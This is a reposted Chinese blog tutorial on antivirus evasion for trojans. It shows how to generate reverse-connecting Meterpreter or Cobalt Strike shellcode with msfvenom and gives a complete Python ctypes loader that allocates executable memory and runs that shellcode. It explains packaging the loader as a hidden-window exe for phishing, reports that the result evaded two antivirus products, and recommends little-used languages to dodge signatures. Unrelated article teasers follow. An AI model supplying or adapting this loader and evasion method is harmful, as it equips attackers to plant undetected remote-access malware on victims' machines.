木马免杀(篇二)shellcode 学习

news2024/11/24 8:28:53

木马免杀(篇二)shellcode 学习

——

shellcode介绍

shellcode 是一段利用软件漏洞进行执行的机器码, 通常用汇编语言编写并被翻译为十六进制操作码,因常被攻击者用于获取系统的命令终端shell 接口,所以被称为 shellcode。

说到获取系统的命令终端shell 接口,shell 是操作系统中提供给用户用于内核交互执行任意系统命令的应用程序。
Windows操作系统中的shell 包括 命令提示符cmd 和 powershell 应用程序。
Linux操作系统中的 bash shell。比如我在 cmd 中执行 ipconfig 系统命令查看网络适配器信息(多用于查看IP)。获取到了 shell 接口就可以执行后续的任意系统命令了。
在这里插入图片描述

——

获取shellcode

一段shellcode 都有他的功能,比如执行弹计算器的功能、反弹shell 等等。

常见shellcode是一串十六进制机器码,常以字符串形式存储在数组类型的变量中。本质是一段汇编指令,要学习 shellcode 是怎么生成,即实现这些功能的shellcode 需要怎么写,涉及到新的领域,要学习汇编,进行编译汇编源码,提取出shellcode等步骤,会比较困难。

所以目前使用 shellcode 大多通过工具生成或网上写好了的。

网上的公开 shellcode 资源:

https://www.exploit-db.com/

在这里插入图片描述
cobaltstrike 工具生成 shellcode
在这里插入图片描述
选择监听器,选择不同语言的shellcode
在这里插入图片描述

msf 工具生成 shellcode
通过命令选择监听器和IP、端口等信息。
生成命令:

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c

得到的文件长这样,里面是一串十六进制字符串
在这里插入图片描述
这里只是举了cs和msf 生成的一个shellcode例子,还有其他的多种方式或格式,比如msf还有自带的对shellcode编码的功能。

——

如何执行shellcode?

一串 shellcode 不能直接在操作系统执行,需要通过编程语言进行加载、调用才能执行。像常见的C、C#、Java、python 都能实现。
每种语言对 shellcode 进行加载的方式都大同小异,包括申请内存、将shellcode 写入内存等步骤。所以得到一个加载器的概念,通过加载器可以实现说到的写入内存等功能。

这里学习使用python语言编写加载器执行 shellcode

python 编写 shellcode 加载器

这里用 cs 直接生成的 c 语言编写的 shellcode的一个片段展示:

\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48

使用 python 编写加载器执行 c 语言的 shellcode

import ctypes

buf=b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode=buf
shellcode = bytearray(shellcode)

kernel32 = ctypes.WinDLL('kernel32')
kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))
handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

加载器代码解读

将 shellcode 从一个字节串(bytes)对象转换为一个可变字节数组(bytearray)对象。

shellcode = bytearray(shellcode)

加载 kernel32.dll ,是 Windows 操作系统的核心动态链接库之一,包含了很多常用的系统函数。

kernel32 = ctypes.WinDLL('kernel32')

设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

kernel32.VirtualAlloc.restype=ctypes.c_unit64

调用 kernel32.dll 动态链接库的 VirtualAlloc 函数申请内存

ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)

里面 4 个参数的含义:
ctypes.c_int(0) 指向要分配的区域的起始地址的指针,值为null时指向系统保留其认为合适的区域

ctypes.c_int(len(shellcode)) 分配区域的大小
ctypes.c_int(0x3000) 内存分配的类型
ctypes.c_int(0x40) 要分配的页区域的内存保护,可读可写可执行

调用 kernel32.dll 动态链接库的 RtlMoveMemory 函数将 shellcode 移动到申请的内存中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))

三个参数含义:

ctypes.c_uint64(ptr) 指向要将字节复制到的目标内存块的指针
buffer 指向要从中复制字节的源内存块的指针
ctypes.c_int(len(shellcode)) 从源复制到目标的字节数

创建线程,从 shellcode 放置位置的首地址开扫执行 shellcode

handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

等待线程运行完

kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

直接运行上面的 python 代码就可以上线 cs 。
不过如果进行钓鱼的话可以打包成 exe 文件,不需要 python 环境的依赖。
——

打包成exe

pyinstaller -F 1.py -w --name test.exe --clean

-F 参数用于将所有生成的文件(包括依赖的库和资源)打包到一个单独的可执行文件中,而不是生成一个文件夹。
-w 参数用于在打包后隐藏控制台窗口,使得生成的可执行文件在运行时不显示命令行窗口。
–name 指定生成的文件名
–clean:在打包前先清理之前的临时文件。
–upx:使用UPX来压缩可执行文件,减小文件大小。
–icon:指定打包后exe文件的图标。图标文件应该是.ico格式。
–distpath选项指定输出路径

在dist 目录下得到 test.exe 文件。双击运行即可
在这里插入图片描述

结果这样没有任何处理火绒和360都不杀
2023.7
vt结果:
在这里插入图片描述
微步结果:
在这里插入图片描述
————

总结

进行免杀的一个方式其实就是编写一个加载器,包括现在从github上找比较新的免杀项目也是加载器的项目。这里用的 python 加载器也是很多之前网上就能找到的,但是看到截至到2023.7免杀效果都还是可观的。一个原因是用python 去免杀的比较少,主流应该是 c 语言的,用的人多了,免杀效果自然就没那么好了。所以用比较少人用的语言编写加载器也是一种免杀途径,那些杀软的木马病毒库还没有收录那些特征。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/860666.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NLP语言模型概览

语言模型结构分类 Encoder-Decoder(Transformer): Encoder 部分是 Masked Multi-Head Self-Attention,Decoder 部分是 Casual Multi-Head Cross-Attention 和 Casual Multi-Head Self-Attention 兼具。比如T5,BART,MA…

HCIP STP(生成树)

目录 一、STP概述 二、生成树协议原理 三、802.1D生成树 四、STP的配置BPDU 1、配置BPDU的报文格式 2、配置BPDU的工作过程 3、TCN BPDU 4、TCN BPDU的工作过程 五、STP角色选举 1、根网桥选举 2、根端口选举 3、指定端口选举 4、非指定端口选举 六、STP的接口状…

免费思维导图软件有哪些?精选6款免费好用、功能强大的思维导图软件!

相信大家或多或少都听说过思维导图以及它的强大作用,它简单又高效,能够将散点链接成为相关联的、有逻辑的整体,更好地梳理和管理知识。不管你有没有真正体验过思维导图带来的神奇效果,相信你一定也在寻找一款免费好用的思维导图软…

找不到msvcp120dll,无法继续执行代码,怎么解决?

当msvcp120.dll文件丢失或找不到时,会导致无法运行使用C编写的程序。这可能是由于以下原因导致的: 1.删除或移动文件:如果你不小心删除了或移动了msvcp120.dll文件,你将无法找到它并加载它,从而导致程序无法正常运行。…

2023上半年京东奶粉行业品牌销售排行榜(京东数据分析平台)

近年来,受新生儿人口数量下降的影响,婴幼儿奶粉市场的需求量萎缩,市场由增量竞争转为存量竞争。根据鲸参谋电商数据分析平台的数据显示,今年上半年,京东婴幼儿奶粉市场的销量将近4400万,环比下降约19%&…

AtcoderABC224场

A - TiresA - Tires 题目大意 题目要求判断给定字符串S的末尾是以"er"还是"ist"结尾,并输出对应的结果。 思路分析 使用substr函数获取字符串S的末尾2个字符或3个字符。 判断获取到的子字符串是否等于"er"或"ist"&#…

赛事 | 第25届中国机器人及人工智能大赛全国决赛榜单发布

第25届中国机器人及人工智能大赛成功举办 2023年6月13日至14日,第二十五届中国机器人及人工智能大赛于海南科技职业大学成功举办。大赛由中国人工智能学会主办,共有来自清华大学、哈尔滨工业大学、中国科学技术大学、西安交通大学等500多所高校进入全国…

Vue2:路由

Vue2:路由 Date: May 28, 2023 Sum: vue-router基本使用、高级用法 单页面应用程序 概念:SPA【Single Page Application】是指所有的功能都在一个html页面上实现 案例: 单页应用网站: 网易云音乐 https://music.163.com/ 多页…

8.10 用redis实现缓存功能和Spring Cache

什么是缓存? 缓存(Cache), 就是数据交换的缓冲区,俗称的缓存就是缓冲区内的数据,一般从数据库中获取,存储于本地代码。 通过Redis来缓存数据,减少数据库查询操作; 逻辑 每个分类的菜品保存一份缓存数据 数据库菜品数据有变更时清理缓存数据 如何将商品数据缓存起…

Spring AOP(AOP概念,组成成分,实现,原理)

目录 1. 什么是Spring AOP? 2. 为什么要用AOP? 3. AOP该怎么学习? 3.1 AOP的组成 (1)切面(Aspect) (2)连接点(join point) (3&a…

Qt画波浪球(小费力)

画流动波浪 #ifndef WIDGET3_H #define WIDGET3_H#include <QWidget> #include <QtMath> class widget3 : public QWidget {Q_OBJECT public:explicit widget3(QWidget *parent nullptr);void set_value(int v){valuev;}int get_value(){return value;} protecte…

FineReport 使用汇总(不定期更新)

1&#xff0c;下载地址 免费下载FineReport - FineReport报表官网 这里注意 2&#xff0c;后台统计 sql 还是需要自己写 就会有数据 而直接查询表&#xff0c; 没有数据 不过&#xff0c;可能是我不会用。还需要再研究。

Java ThreadLocal是什么

文章目录 引子&#xff1a;SimpleDateFormat类ThreadLocal是什么ThreadLocal 的另一个用途**总结**ThreadLocal的两大用途ThreadLocal 的源代码ThreadLocalMapThreadLocalMap 的问题ThreadLocal的key为什么设置成弱引用&#xff1f;value为什么不是弱引用&#xff1f;Thread、T…

ubuntu 安装 nvidia 驱动

ubuntu 安装 nvidia 驱动 初环境与设备查询型号查询对应的驱动版本安装驱动验证驱动安装结果 本篇文章将介绍ubuntu 安装 nvidia 驱动 初 希望能写一些简单的教程和案例分享给需要的人 环境与设备 系统&#xff1a;ubuntu 设备&#xff1a;Nvidia GeForce RTX 4090 查询型…

每天一道leetcoed:剑指 Offer 28. 对称的二叉树(适合初学者树)

今日份题目&#xff1a; 请实现一个函数&#xff0c;用来判断一棵二叉树是不是对称的。如果一棵二叉树和它的镜像一样&#xff0c;那么它是对称的。 例如&#xff0c;二叉树 [1,2,2,3,4,4,3] 是对称的。 1 / \ 2 2 / \ / \ 3 4 4 3 但是下面这个 [1,2,2,null,3,nu…

【打印100之内的素数——筛选法】

打印100之内的素数——筛选法 筛选法 1.题目分析 素数&#xff1a;约数为1和该数本身的数字称为素数&#xff0c;即质数 2.方法解析 筛选法&#xff1a;又称为筛法。先把N个自然数按次序排列起来。1不是质数&#xff0c;也不是合数&#xff0c;要划去。第二个数2是质数留下来…

[C++ 网络协议] 套接字

目录 1. 套接字 1.1 在Linux平台下构建套接字 1.1.1 用于接听的套接字(服务器端套接字) 1.1.2 用于发送请求的套接字(客户端套接字) 1.2 在Windows平台下构建套接字 1.2.1 Winsock的初始化 1.2.2 用于接听的套接字(服务器端套接字) 1.2.3 用于发送请求的套接字(客户端套…

Linux Linux系统上C程序的编译与调试

一、环境配置 在Linux操作系统中&#xff0c;打开终端&#xff0c;以管理员root模式登录 1.更新&#xff1a;输入命令apt update 2.下载vim&#xff1a;输入命令apt install vim -y 3.下载gcc&#xff1a;输入命令apt install gcc -y 4.下载g&#xff1a;输入命令apt install …

7.6 通俗易懂解读残差网络ResNet 手撕ResNet

一.举例通俗解释ResNet思想 假设你正在学习如何骑自行车&#xff0c;并且想要骑到一个遥远的目的地。你可以选择直接骑到目的地&#xff0c;也可以选择在途中设置几个“中转站”&#xff0c;每个中转站都会告诉你如何朝着目的地前进。 在传统的神经网络中&#xff0c;就好比只…

八、复用(2)

本章概要 结合组合和继承 保证适当的清理名称隐藏 组合与继承的选择protected向上转型 再论组合和继承 结合组合与继承 你将经常同时使用组合和继承。下面的例子展示了使用继承和组合创建类&#xff0c;以及必要的构造函数初始化: class Plate {Plate(int i) {System.out.…